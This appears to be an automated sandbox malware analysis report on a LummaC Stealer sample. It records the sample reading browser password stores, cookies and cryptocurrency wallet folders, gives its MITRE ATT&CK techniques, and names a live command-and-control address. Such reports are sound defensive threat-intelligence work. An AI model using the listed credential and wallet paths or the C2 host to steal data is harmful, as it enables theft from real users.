Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbml	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: Vd3tOP5WSD.exe PID: 2052, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 0.2.Vd3tOP5WSD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Vd3tOP5WSD.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Vd3tOP5WSD.exe.23c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Vd3tOP5WSD.exe.23c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2148951176.00000000023C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Vd3tOP5WSD.exe PID: 2052, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 LSASS Driver	1 Process Injection	32 Virtualization/Sandbox Evasion	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 LSASS Driver	1 Process Injection	LSASS Memory	471 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	32 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	113 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Vd3tOP5WSD.exe	89%	ReversingLabs	Win32.Trojan.Rhadamanthys
Vd3tOP5WSD.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://94.158.244.69/c2sockA	0%	Avira URL Cloud	safe
http://94.158.244.69:80/c2sockJ	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sock-	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockx	0%	Avira URL Cloud	safe
http://94.158.244.69/l	0%	Avira URL Cloud	safe
http://94.158.244.69/c2socks3	0%	Avira URL Cloud	safe
http://94.158.244.69/3-	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockD	0%	Avira URL Cloud	safe
http://94.158.244.69:80/c2sock7	0%	Avira URL Cloud	safe
http://94.158.244.69/p	0%	Avira URL Cloud	safe
http://94.158.244.69:80/c2sock	0%	Avira URL Cloud	safe
http://94.15	0%	Avira URL Cloud	safe
http://94.158.244.69/4-G	0%	Avira URL Cloud	safe
http://94.158.244.69:80/c2sockk	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockPV	0%	Avira URL Cloud	safe
http://94.158.244.69/sIWi	0%	Avira URL Cloud	safe
http://94.158.244.69//nhJ)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://94.158.244.69/c2sock	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sock-	Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69:80/c2sockJ	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000003033000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2socks3	Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sockD	Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/3-	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sockA	Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/p	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/l	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Vd3tOP5WSD.exe, 00000000.00000002.3924235405.0000000003C61000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sockx	Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69:80/c2sock7	Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003540000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/sIWi	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/4-G	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69:80/c2sockk	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000003033000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69:80/c2sock	Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000003033000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/	Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003477000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sockPV	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	Vd3tOP5WSD.exe, 00000000.00000002.3924235405.0000000003C61000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.15	Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003540000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://94.158.244.69//nhJ)	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.158.244.69	unknown	Moldova Republic of		39798	MIVOCLOUDMD	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555042
Start date and time:	2024-11-13 10:50:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Vd3tOP5WSD.exe renamed because original name is a hash value
Original Sample Name:	6b5e8356c9c11bb8018e49bacb31892460073945fb601b61cebdcf838ac6c5f1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 59 Number of non-executed functions: 90
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): client.wns.windows.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Vd3tOP5WSD.exe

Simulations

Behavior and APIs

Time	Type	Description
04:54:26	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.158.244.69	4Oq9i3gm0g.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	RX7nieXlNm.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	5M5e9srxkE.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	dV01QsYySM.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	BeO2C8S5Ly.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	ToNaCrWjm7.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	IVN6n1kO22.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	Mc8s3us2xa.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	SMZP2H8p7i.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	qh0kepGznl.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	cgln32y2HF.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	4Oq9i3gm0g.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	RX7nieXlNm.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	5M5e9srxkE.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	dV01QsYySM.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	BeO2C8S5Ly.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	ToNaCrWjm7.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	IVN6n1kO22.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	Mc8s3us2xa.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	SMZP2H8p7i.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Vd3tOP5WSD.exe_d08f6736851ccede2310e8edaaa1b846ad7693_1ddaf28a_f9882812-5831-4481-ae20-b3f002e4b10d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8414810678425422
Encrypted:	false
SSDEEP:	192:6k+lgEob8I0u08mBJjGdzuiF+Z24IO8Lw:0lBob8ju08mBJjEzuiF+Y4IO8Lw
MD5:	9DD88AF5785A6D6B2A334D4FC92D93D6
SHA1:	F2320013F1292F9BAA93675A3037EBF98ECFEDB8
SHA-256:	FCFBBB9150BB51D04483091AEC9427540E8834C71FF69EE7AC601F13C8622816
SHA-512:	B9F9858171879A1EEC400733122DE17B773E2760BA8F81ACA4EC22B8241E5484D6857DE54D753680E19961E7B5BB3BB7629F1A31F6E684F789AF9BA6442B8514
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.9.6.5.2.6.3.1.4.9.0.8.6.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.9.6.5.2.6.3.6.3.3.4.3.7.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.9.8.8.2.8.1.2.-.5.8.3.1.-.4.4.8.1.-.a.e.2.0.-.b.3.f.0.0.2.e.4.b.1.0.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.1.d.b.8.d.8.5.-.9.6.f.1.-.4.e.6.d.-.9.7.e.3.-.e.f.4.0.d.6.3.3.0.1.8.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.V.d.3.t.O.P.5.W.S.D...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.8.0.4.-.0.0.0.1.-.0.0.1.5.-.c.0.2.2.-.8.8.9.c.b.1.3.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.8.d.1.e.9.a.f.d.d.f.0.0.2.2.5.2.8.9.c.2.8.8.4.6.e.4.6.3.f.d.2.0.0.0.0.1.1.4.1.!.0.0.0.0.8.4.4.8.a.6.b.5.3.a.5.b.e.3.8.e.e.7.2.1.0.6.5.1.6.1.d.2.0.8.2.4.3.6.8.3.7.9.f.2.!.V.d.3.t.O.P.5.W.S.D...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14FC.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Nov 13 09:54:23 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	40140
Entropy (8bit):	2.498175960495705
Encrypted:	false
SSDEEP:	192:QVZugX8sNRiwzGOSUrkPIFJ4vJwEvQQ0VkL1Xm/0RkX4mhw:A6sDicSUraIF6uEI1kLt20RkoOw
MD5:	E0AA872E7FAFF49967851F3156F96340
SHA1:	CA35BEAB62EEBF47A7A2C26739D4520644AF6AF9
SHA-256:	553AE5F74E960DE63625AC0ADB66C57356E57C8568CF5CD91F62710E75DF2B73
SHA-512:	5066A11E63A7A15060F55E4B417DDDCCF61C6703F9662268CE24F6BE2233DFEE17E50D64C56F7452A0A31265EA68744B3E8539AF9C18A87F1E51C09DE0792FCA
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......Ow4g............4...............H.......<...........T...."..........`.......8...........T...........P=..\|_..........L...........8...............................................................................eJ..............GenuineIntel............T............v4gM............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

